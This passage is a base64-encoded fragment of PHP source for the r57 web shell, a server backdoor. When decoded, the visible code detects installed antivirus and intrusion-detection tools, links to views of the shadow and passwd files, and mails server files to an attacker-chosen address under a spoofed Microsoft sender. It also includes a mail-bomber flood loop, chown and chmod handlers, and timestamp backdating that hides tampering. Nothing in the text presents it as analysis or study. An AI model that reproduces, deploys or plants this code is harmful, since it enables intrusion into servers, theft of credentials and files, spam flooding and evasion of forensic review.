vYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyAiPGJyPiIud3MoMik7DQplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7JGRmPSdpbmlfZ2V0ICBkaXNhYmxlISc7DQppZigoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSAmJignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj4iO30NCiRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7DQppZiAoISRmcmVlKSB7JGZyZWUgPSAwO30NCiRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkZGlyKTsNCmlmICghJGFsbCkgeyRhbGwgPSAwO30NCmVjaG8gIjxicj4iLndzKDIpLiJGcmVlIHNwYWNlIDogPGI+Ii52aWV3X3NpemUoJGZyZWUpLiI8L2I+IFRvdGFsIHNwYWNlOiA8Yj4iLnZpZXdfc2l6ZSgkYWxsKS4iPC9iPiI7DQokdXN0PScnOw0KaWYoJHVuaXggJiYhJHNhZmVfbW9kZSl7DQppZiAod2hpY2goJ2djYycpKSB7JHVzdC49ImdjYywiO30NCmlmICh3aGljaCgnY2MnKSkgeyR1c3QuPSJjYywiO30NCmlmICh3aGljaCgnbGQnKSkgeyR1c3QuPSJsZCwiO30NCmlmICh3aGljaCgncGhwJykpIHskdXN0Lj0icGhwLCI7fQ0KaWYgKHdoaWNoKCdwZXJsJykpIHskdXN0Lj0icGVybCwiO30NCmlmICh3aGljaCgncHl0aG9uJykpIHskdXN0Lj0icHl0aG9uLCI7fQ0KaWYgKHdoaWNoKCdydWJ5JykpIHskdXN0Lj0icnVieSwiO30NCmlmICh3aGljaCgnbWFrZScpKSB7JHVzdC49Im1ha2UsIjt9DQppZiAod2hpY2goJ3RhcicpKSB7JHVzdC49InRhciwiO30NCmlmICh3aGljaCgnbmMnKSkgeyR1c3QuPSJuZXRjYXQsIjt9DQppZiAod2hpY2goJ2xvY2F0ZScpKSB7JHVzdC49ImxvY2F0ZSwiO30NCmlmICh3aGljaCgnc3VpZHBlcmwnKSkgeyR1c3QuPSJzdWlkcGVybCwiO30NCn0NCmlmIChAZnVuY3Rpb25fZXhpc3RzKCdwY250bF9leGVjJykpIHskdXN0Lj0icGNudGxfZXhlYywiO30NCmlmKCR1c3Qpe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzcnXS4iOiA8Zm9udCBjb2xvcj1ibHVlPiIuJHVzdC4iPC9mb250PiI7fQ0KJHVzdD0nJzsNCmlmKCR1bml4ICYmISRzYWZlX21vZGUpew0KaWYgKHdoaWNoKCdrYXYnKSkgeyR1c3QuPSJrYXYsIjt9DQppZiAod2hpY2goJ25vZDMyJykpIHskdXN0Lj0ibm9kMzIsIjt9DQppZiAod2hpY2goJ2JkY29yZWQnKSkgeyR1c3QuPSJiaXRkZWZlbmRlciwiO30NCmlmICh3aGljaCgndXZzY2FuJykpIHskdXN0Lj0ibWNhZmVlLCI7fQ0KaWYgKHdoaWNoKCdzYXYnKSkgeyR1c3QuPSJzeW1hbnRlYywiO30NCmlmICh3aGljaCgnZHJ3ZWJkJykpIHskdXN0PSJkcndlYmQsIjt9DQppZiAod2hpY2goJ2NsYW1kJykpIHskdXN0Lj0iY2xhbWQsIjt9DQppZiAod2hpY2goJ3JraHVudGVyJykpIHskdXN0Lj0icmtodW50ZXIsIjt9DQppZiAod2hpY2goJ2Noa3Jvb3RraXQnKSkgeyR1c3QuPSJjaGtyb290a2l0LCI7fQ0KaWYgKHdoaWNoKCdpcHRhYmxlcycpKSB7JHVzdC49ImlwdGFibGVzLCI7fQ0KaWYgKHdoaWNoKCdpcGZ3JykpIHskdXN0Lj0iaXBmdywiO30NCmlmICh3aGljaCgndHJpcHdpcmUnKSkgeyR1c3QuPSJ0cmlwd2lyZSwiO30NCmlmICh3aGljaCgnc2hpZWxkY2MnKSkgeyR1c3QuPSJzdGFja3NoaWVsZCwiO30NCmlmICh3aGljaCgncG9ydHNlbnRyeScpKSB7JHVzdC49InBvcnRzZW50cnksIjt9DQppZiAod2hpY2goJ3Nub3J0JykpIHskdXN0Lj0ic25vcnQsIjt9DQppZiAod2hpY2goJ29zc2VjJykpIHskdXN0Lj0ib3NzZWMsIjt9DQppZiAod2hpY2goJ2xpZHNhZG0nKSkgeyR1c3QuPSJsaWRzYWRtLCI7fQ0KaWYgKHdoaWNoKCd0Y3Bsb2RnJykpIHskdXN0Lj0idGNwbG9kZywiO30NCmlmICh3aGljaCgndHJpcHdpcmUnKSkgeyR1c3QuPSJ0cmlwd2lyZSwiO30NCmlmICh3aGljaCgnc3hpZCcpKSB7JHVzdC49InN4aWQsIjt9DQppZiAod2hpY2goJ2xvZ2NoZWNrJykpIHskdXN0Lj0ibG9nY2hlY2ssIjt9DQppZiAod2hpY2goJ2xvZ3dhdGNoJykpIHskdXN0Lj0ibG9nd2F0Y2gsIjt9DQp9DQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiZAaW5fYXJyYXkoJ21vZF9zZWN1cml0eScsYXBhY2hlX2dldF9tb2R1bGVzKCkpKSB7JHVzdC49Im1vZF9zZWN1cml0eSwiO30NCmlmKCR1c3Qpe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXS4iOiA8Zm9udCBjb2xvcj1yZWQ+JHVzdDwvZm9udD4iO30NCmVjaG8gIjxicj4iLndzKDIpLiI8L2I+IjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5mbyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5pIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDcnXS4iXCI+PGI+cGhwLmluaTwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9jcHUgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5jcHU8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7DQppZighJHVuaXgpIHsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/c3lzdGVtaW5mbyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUwJ10uIlwiPjxiPnN5c3RlbWluZm88L2I+PC9hPiAiLiRyYjsNCn1lbHNlew0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zeXNsb2cgdGl0bGU9XCJWaWV3IHN5c2xvZy5jb25mXCI+PGI+c3lzbG9nPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3Jlc29sdiB0aXRsZT1cIlZpZXcgcmVzb2x2XCI+PGI+cmVzb2x2PC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2hvc3RzIHRpdGxlPVwiVmlldyBob3N0c1wiPjxiPmhvc3RzPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3NoYWRvdyB0aXRsZT1cIlZpZXcgc2hhZG93XCI+PGI+c2hhZG93PC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3Bhc3N3ZCB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIlwiPjxiPnBhc3N3ZDwvYj48L2E+ICIuJHJiOw0KfQ0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj90bXAgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OCddLiJcIj48Yj50bXA8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZGVsZXRlIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDknXS4iXCI+PGI+ZGVsZXRlPC9iPjwvYT4gIi4kcmI7DQppZigkdW5peCAmJiEkc2FmZV9tb2RlKSANCnsNCmVjaG8gIjxicj4iLndzKDIpLiI8L2I+IjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cHJvY2luZm8gdGl0bGU9XCJWaWV3IHByb2NpbmZvXCI+PGI+cHJvY2luZm88L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dmVyc2lvbiB0aXRsZT1cIlZpZXcgcHJvYyB2ZXJzaW9uXCI+PGI+dmVyc2lvbjwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9mcmVlIHRpdGxlPVwiVmlldyBtZW0gZnJlZVwiPjxiPmZyZWU8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZG1lc2coOCkgdGl0bGU9XCJWaWV3IGRtZXNnXCI+PGI+ZG1lc2c8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dm1zdGF0IHRpdGxlPVwiVmlldyB2bXN0YXRcIj48Yj52bXN0YXQ8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bHNwY2kgdGl0bGU9XCJWaWV3IGxzcGNpXCI+PGI+bHNwY2k8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bHNkZXYgdGl0bGU9XCJWaWV3IGxzZGV2XCI+PGI+bHNkZXY8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/aW50ZXJydXB0cyB0aXRsZT1cIlZpZXcgaW50ZXJydXB0c1wiPjxiPmludGVycnVwdHM8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cmVhbGlzZTEgdGl0bGU9XCJWaWV3IHJlYWxpc2UxXCI+PGI+cmVhbGlzZTE8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cmVhbGlzZTIgdGl0bGU9XCJWaWV3IHJlYWxpc2UyXCI+PGI+cmVhbGlzZTI8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bHNhdHRyIHRpdGxlPVwiVmlldyBsc2F0dHIgLXZhXCI+PGI+bHNhdHRyPC9iPjwvYT4gIi4kcmI7DQplY2hvICI8YnI+Ii53cygyKS4iPC9iPiI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3cgdGl0bGU9XCJWaWV3IHdcIj48Yj53PC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3dobyB0aXRsZT1cIlZpZXcgd2hvXCI+PGI+d2hvPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3VwdGltZSB0aXRsZT1cIlZpZXcgdXB0aW1lXCI+PGI+dXB0aW1lPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2xhc3QgdGl0bGU9XCJWaWV3IGxhc3QgLW4gMTBcIj48Yj5sYXN0PC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BzYXV4IHRpdGxlPVwiVmlldyBwcyAtYXV4XCI+PGI+cHMgYXV4PC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3NlcnZpY2UgdGl0bGU9XCJWaWV3IHNlcnZpY2VcIj48Yj5zZXJ2aWNlPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2lmY29uZmlnIHRpdGxlPVwiVmlldyBpZmNvbmZpZ1wiPjxiPmlmY29uZmlnPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP25ldHN0YXQgdGl0bGU9XCJWaWV3IG5ldHN0YXQgLWFcIj48Yj5uZXRzdGF0PC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2ZzdGFiIHRpdGxlPVwiVmlldyBmc3RhYlwiPjxiPmZzdGFiPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2ZkaXNrIHRpdGxlPVwiVmlldyBmZGlzayAtbFwiPjxiPmZkaXNrPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RmIHRpdGxlPVwiVmlldyBkZiAtaFwiPjxiPmRmIC1oPC9iPjwvYT4gIi4kcmI7DQp9DQplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4NCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+DQo8dHI+PHRkIGFsaWduPXJpZ2h0IHdpZHRoPTEwMD4nOw0KZWNobyAkZm9udDsNCmlmKCR1bml4KXsNCmVjaG8gJzxmb250IGNvbG9yPWJsdWU+PGI+dW5hbWUgLWEgOicud3MoMSkuJzxicj5zeXNjdGwgOicud3MoMSkuJzxicj4kT1NUWVBFIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEpLic8YnI+aWQgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICI8L3RkPjx0ZD4iOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPiI7DQplY2hvKCghZW1wdHkoJHVuYW1lKSk/KHdzKDMpLkBzdWJzdHIoJHVuYW1lLDAsMTIwKS4iPGJyPiIpOih3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iKSk7DQplY2hvIHdzKDMpLiRzeXNjdGwuIjxicj4iOw0KZWNobyB3cygzKS5leCgnZWNobyAkT1NUWVBFJykuIjxicj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsNCmlmKCFlbXB0eSgkaWQpKSB7ZWNobyB3cygzKS4kaWQuIjxicj4iO30NCmVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpICYmQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpICYmQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJkBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpDQp7DQokZXVzZXJpbmZvICA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsNCiRlZ3JvdXBpbmZvID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KZWNobyB3cygzKS4ndWlkPScuJGV1c2VyaW5mb1sndWlkJ10uJyAoICcuJGV1c2VyaW5mb1snbmFtZSddLicgKSBnaWQ9Jy4kZWdyb3VwaW5mb1snZ2lkJ10uJyAoICcuJGVncm91cGluZm9bJ25hbWUnXS4nICk8YnI+JzsNCn0NCmVsc2UgZWNobyB3cygzKS4idXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLiI8YnI+IjsNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gd3MoMykuJyggJy5wZXJtcyhAZmlsZXBlcm1zKCRkaXIpKS4nICknOw0KZWNobyAiPC9iPjwvZm9udD4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAnPGZvbnQgY29sb3I9Ymx1ZT48Yj5PUyA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPlVzZXIgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICI8L3RkPjx0ZD4iOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOw0KZWNobyB3cygzKS5AZ2V0ZW52KCJVU0VSTkFNRSIpLiI8YnI+IjsNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gIjxicj48L2ZvbnQ+IjsNCn0NCmVjaG8gIjwvZm9udD4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiRfUE9TVFsnY21kJ109PSJtYWlsIikNCnsNCiRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOw0KZXJyKDYrJHJlcyk7DQokX1BPU1RbJ2NtZCddPSIiOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSImJiFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQ0Kew0KaWYoJGZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwiciIpKXskZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnbG9jX2ZpbGUnXSkpO0BmY2xvc2UoJGZpbGUpO30NCmVsc2UgaWYgKCRmaWxlPXJlYWR6bGliKCRfUE9TVFsnbG9jX2ZpbGUnXSkpIHskZmlsZWR1bXAgPSAkZmlsZTt9ZWxzZSB7ZXJyKDEsJF9QT1NUWydsb2NfZmlsZSddKTskX1BPU1RbJ2NtZCddPSIiO30NCmlmKGlzc2V0KCRfUE9TVFsnY21kJ10pKSANCnsNCiRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2xvY19maWxlJ10pOw0KJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCmNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiRhdHRhY2ggPSBhcnJheSgNCiJuYW1lIj0+JGZpbGVuYW1lLA0KInR5cGUiPT4kbWltZV90eXBlLA0KImNvbnRlbnQiPT4kZmlsZWR1bXANCik7DQppZihlbXB0eSgkX1BPU1RbJ3N1YmonXSkpIHskX1BPU1RbJ3N1YmonXSA9ICdmaWxlIGZyb20gcjU3Jzt9DQppZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHskX1BPU1RbJ2Zyb20nXSA9ICdiaWxseUBtaWNyb3NvZnQuY29tJzt9DQokcmVzID0gbWFpbGF0dGFjaCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydmcm9tJ10sJF9QT1NUWydzdWJqJ10sJGF0dGFjaCk7DQplcnIoNiskcmVzKTsNCiRfUE9TVFsnY21kJ109IiI7DQp9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYkX1BPU1RbJ2NtZCddPT0ibWFpbF9ib21iZXIiJiYhZW1wdHkoJF9QT1NUWydtYWlsX2Zsb29kJ10pICYmIWVtcHR5KCRfUE9TVFsnbWFpbF9zaXplJ10pKQ0Kew0KZm9yKCRoPTE7JGg8PSRfUE9TVFsnbWFpbF9mbG9vZCddOyRoKyspew0KJHJlcyA9IG1haWwoJF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLnN0cl9yZXBlYXQoIiAiLDEwMjQqJF9QT1NUWydtYWlsX3NpemUnXSksIkZyb206ICIuJF9QT1NUWydmcm9tJ10uIlxyXG4iKTsNCn0NCmVycig2KyRyZXMpOw0KJF9QT1NUWydjbWQnXT0iIjsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiRfUE9TVFsnY21kJ10gPT0gImZpbmRfdGV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYkX1BPU1RbJ2NtZCddPT0iY2hfIikNCnsNCnN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCnsNCmNhc2UgJ293bic6DQpAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCmJyZWFrOw0KY2FzZSAnZ3JwJzoNCkBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOw0KYnJlYWs7DQpjYXNlICdtb2QnOg0KQGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50dmFsKCRfUE9TVFsncGFyYW0yJ10sOCkpOw0KYnJlYWs7DQp9DQokX1BPU1RbJ2NtZCddPSIiOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXT09Im1rIikNCnsNCnN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCnsNCmNhc2UgJ2ZpbGUnOg0KaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiY3JlYXRlIikNCnsNCmlmKEBmaWxlX2V4aXN0cygkX1BPU1RbJ21rX25hbWUnXSkgfHwhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3IikpIHtlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7JF9QT1NUWydjbWQnXT0iIjt9DQplbHNlIHsNCkBmY2xvc2UoJGZpbGUpOw0KJF9QT1NUWydlX25hbWUnXSA9ICRfUE9TVFsnbWtfbmFtZSddOw0KJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCmVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KfQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKQ0Kew0KaWYodW5saW5rKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwODAwMD48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MyddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQokX1BPU1RbJ2NtZCddPSIiOw0KfQ0KYnJlYWs7DQpjYXNlICdkaXInOg0KaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiY3JlYXRlIil7DQppZihAbWtkaXIoJF9QT1NUWydta19uYW1lJ10pKQ0Kew0KJF9QT1NUWydjbWQnXT0iIjsNCmVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjInXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KfQ0KZWxzZSB7ZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsNCmlmKEBybWRpcigkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjQnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KJF9QT1NUWydjbWQnXT0iIjsNCn0NCmJyZWFrOw0KfQ0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXT09InRvdWNoIikNCnsNCmlmKCEkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pDQp7DQokZGF0YXIgPSAkX1BPU1RbJ2RheSddLiIgIi4kX1BPU1RbJ21vbnRoJ10uIiAiLiRfUE9TVFsneWVhciddLiIgIi4kX1BPU1RbJ2NoYXNpJ10uIiBob3VycyAiLiRfUE9TVFsnbWludXRlcyddLiIgbWludXRlcyAiLiRfUE9TVFsnc2Vjb25kJ10uIiBzZWNvbmRzIjsNCiRkYXRhciA9IEBzdHJ0b3RpbWUoJGRhdGFyKTsNCkB0b3VjaCgkX1BPU1RbJ2ZpbGVfbmFtZSddLCRkYXRhciwkZGF0YXIpO30NCmVsc2V7DQpAdG91Y2goJF9QT1NUWydmaWxlX25hbWUnXSxAZmlsZW10aW1lKCRfUE9TVFsnZmlsZV9uYW1lX3InXSksQGZpbGVtdGltZSgkX1BPU1RbJ2ZpbGVfbmFtZV9y